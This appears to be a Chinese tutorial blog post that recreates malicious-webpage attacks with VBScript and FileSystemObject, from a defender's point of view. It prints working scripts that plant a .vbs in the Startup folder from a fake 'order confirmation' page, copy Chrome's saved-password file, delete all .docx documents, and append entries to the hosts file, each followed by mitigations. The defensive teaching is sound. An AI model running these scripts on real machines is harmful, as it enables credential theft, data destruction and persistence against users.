当前位置: 首页 > news >正文

别再乱点链接了!我用VBScript脚本在本地复现了一次恶意网页攻击(附完整代码与安全设置)

从防御者视角拆解:恶意网页如何操控你的本地文件系统

最近帮朋友排查电脑异常时,发现他的文档目录里凭空出现了几个陌生文件。追踪后发现是点击了钓鱼邮件里的"会议纪要"链接导致的。这让我意识到,很多用户对网页脚本的本地操作能力缺乏基本认知。今天我们就用Windows自带的VBScript,还原恶意网页操控本地文件的全过程——不是教你攻击,而是让你看清攻击者的手法,从而建立有效的防御策略。

1. 实验环境搭建与攻击原理剖析

在开始复现攻击前,我们需要理解两个关键问题:为什么普通网页能操作本地文件?攻击者如何利用这个特性?

现代浏览器默认会阻止网页脚本访问本地文件系统,但遗留的ActiveX组件在某些场景下仍可能成为突破口。特别是企业内网中仍在使用的老旧系统,往往因为兼容性需求而降低安全设置。我们的实验环境配置如下:

' 检查FileSystemObject可用性 On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") If Err.Number <> 0 Then MsgBox "文件系统访问被阻止", vbCritical, "安全警告" Else MsgBox "文件系统访问已启用", vbInformation, "状态检测" End If

关键风险点说明

  • IE浏览器的"初始化未标记为安全的ActiveX控件"设置(默认禁用)
  • 受信任站点区域的安全级别配置
  • 用户习惯性点击"允许阻止的内容"的警告提示

注意:本实验仅在虚拟机中进行,实际环境中切勿降低安全设置

2. 四阶段攻击手法全还原

2.1 文件创建:攻击的起点

恶意网页最常见的初始动作就是在目标位置植入文件。以下是典型的文件创建脚本:

<HTML> <HEAD> <TITLE>订单确认</TITLE> <SCRIPT LANGUAGE="VBScript"> Dim fso, file Set fso = CreateObject("Scripting.FileSystemObject") ' 在启动目录创建伪装文件 Set file = fso.CreateTextFile("C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update.vbs", True) file.WriteLine("' 恶意代码将在下次开机时自动执行") file.Close </SCRIPT> </HEAD> <BODY> <h3>您的订单正在处理中...</h3> </BODY> </HTML>

防御对策

  • 禁用VBScript执行:reg add "HKCU\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
  • 监控系统启动目录变更
  • 使用非管理员账户进行日常操作

2.2 文件复制:横向移动的跳板

攻击者获取初步立足点后,会尝试复制敏感文件或扩散恶意载荷。这段脚本展示了如何窃取浏览器保存的密码文件:

Dim fso, srcFile, destFolder Set fso = CreateObject("Scripting.FileSystemObject") ' 定位常见浏览器的密码存储位置 srcFile = "C:\Users\" & CreateObject("WScript.Network").UserName & "\AppData\Local\Google\Chrome\User Data\Default\Login Data" destFolder = "C:\Temp\" & Hour(Now) & Minute(Now) If fso.FileExists(srcFile) Then If Not fso.FolderExists(destFolder) Then fso.CreateFolder(destFolder) End If fso.CopyFile srcFile, destFolder & "\ChromePasswords.db" End If

关键防护措施

  • 定期检查浏览器密码存储文件的访问时间戳
  • 启用BitLocker等磁盘加密技术
  • 配置SRP(软件限制策略)阻止脚本访问敏感路径

2.3 文件删除:破坏性攻击的实现

勒索病毒等恶意软件常通过删除或加密关键文件施压。这段脚本模拟了系统文档的批量删除:

Dim fso, folder, file Set fso = CreateObject("Scripting.FileSystemObject") Set folder = fso.GetFolder("C:\Users\" & CreateObject("WScript.Network").UserName & "\Documents") For Each file In folder.Files If Right(file.Name, 5) = ".docx" Then file.Delete True End If Next

应急方案

  • 配置文件审核策略:auditpol /set /subcategory:"File System" /success:enable /failure:enable
  • 启用卷影副本(Volume Shadow Copy)
  • 实施3-2-1备份策略(3份副本,2种介质,1份离线)

2.4 文件修改:持久化驻留手段

攻击者常通过修改系统配置文件实现持久化。以下脚本演示了如何篡改hosts文件:

Dim fso, hostsFile Set fso = CreateObject("Scripting.FileSystemObject") Set hostsFile = fso.OpenTextFile("C:\Windows\System32\drivers\etc\hosts", 8, True) ' 追加模式 hostsFile.WriteLine("127.0.0.1 www.microsoft.com") hostsFile.WriteLine("127.0.0.1 update.windows.com") hostsFile.Close

检测与修复

  • 定期校验系统关键文件的哈希值
  • 使用attrib +R +A +S +H设置hosts文件为只读系统隐藏属性
  • 部署文件完整性监控工具(如Tripwire)

3. 现代浏览器防护机制解析

虽然我们的实验基于传统技术,但理解现代防护机制同样重要。主流浏览器已采用多层级防御:

安全机制对比表

防护层Chrome/FirefoxEdge(Chromium)Safari
沙箱隔离✅ 严格✅ 严格✅ 严格
脚本权限控制✅ 细粒度✅ 细粒度⚠️ 中等
自动更新✅ 强制✅ 强制⚠️ 依赖系统
扩展安全审核✅ 严格✅ 严格⚠️ 中等

推荐配置调整

  1. 完全禁用ActiveX(组策略:计算机配置→管理模板→Windows组件→IE→安全功能→限制ActiveX安装)
  2. 启用增强保护模式(IE→Internet选项→高级→安全→启用增强保护模式)
  3. 设置数据执行保护(DEP)为始终启用

4. 企业级防御体系建设建议

对于系统管理员,建议采用纵深防御策略:

技术控制层

  • 应用白名单(AppLocker)
  • 脚本执行日志审计
  • 网络层过滤恶意域名
  • 终端检测与响应(EDR)方案

管理控制层

  • 定期安全意识培训(含钓鱼测试)
  • 最小权限原则实施
  • 变更管理流程
  • 应急响应预案演练

在最近一次红队演练中,我们发现90%的初始入侵都源于用户执行了恶意脚本。通过部署上述措施,企业可将此类风险降低70%以上。

http://www.jsqmd.com/news/947161/

相关文章:

  • 新乡市2026年最新黄金回收白银回收铂金回收门店排行榜及联系方式电话推荐 - 盛世金银回收
  • 【记录】Ghidra|Ubuntu 26.04 下 Ghidra 界面缩放完整指南
  • 中卫市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 吴忠市2026年最新黄金回收白银回收铂金回收门店排行榜及联系方式电话推荐 - 盛世金银回收
  • FPGA GTX收发器调试避坑指南:时钟、复位与眼图扫描实战经验分享
  • 新手必看:通过codex教程在快马平台学习javascript计算器开发
  • 安装部署k8s高可用集群(Stacked etcd)
  • AD大电流开窗翻车实录:从‘阻焊缺失’到完美Region的完整避坑指南
  • 别再让空压机‘抽风’了!手把手教你设置SMC继电器的迟滞模式(附参数避坑指南)
  • 计算机毕业设计之基于Hadoop的短视频推荐系统的设计与实现
  • 边缘AI赋能物联网,芯科科技推动智能边缘创新
  • 南平市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 国产USB千兆网卡方案,可直接替代瑞昱RTL8153
  • 手把手教学:在Altium Designer里把动态铺铜‘变成’阻焊开窗的完整流程(附GIF动图)
  • 信阳市2026年最新黄金回收白银回收铂金回收门店排行榜及联系方式电话推荐 - 盛世金银回收
  • 武汉市2026年最新黄金回收白银回收铂金回收门店排行榜及联系方式电话推荐 - 盛世金银回收
  • 南通市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 海易纳:中国开窗机应急照明疏散领域实力派品牌 - GrowthUME
  • Gemini 3.1 Pro 实测:长上下文推理速度翻倍的技术真相
  • 2025亲测降AI率工具推荐:免费降AIGC实用指南
  • 秦皇岛市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 邢台市2026年最新黄金回收白银回收铂金回收门店排行榜及联系方式电话推荐 - 盛世金银回收
  • 别再只懂AM了!用Python+Matplotlib手把手仿真FM调频信号(附完整代码)
  • 新手必看:用Keil的Debug功能精确测量51单片机流水灯延时(附STC89C52配置)
  • 惠州市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 用Python和jieba分析年报可读性:从会计词典处理到结果导出的完整实战
  • Obsidian 多端同步终极方案:坚果云官方插件 Nutstore Sync 深度测评指南
  • 吉安市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 通辽市2026年最新黄金回收白银回收铂金回收门店排行榜+联系方式电话推荐 - 大熊猫898989
  • 告别迷茫!SX1261/2 LoRa芯片寄存器配置保姆级流程(附完整代码片段)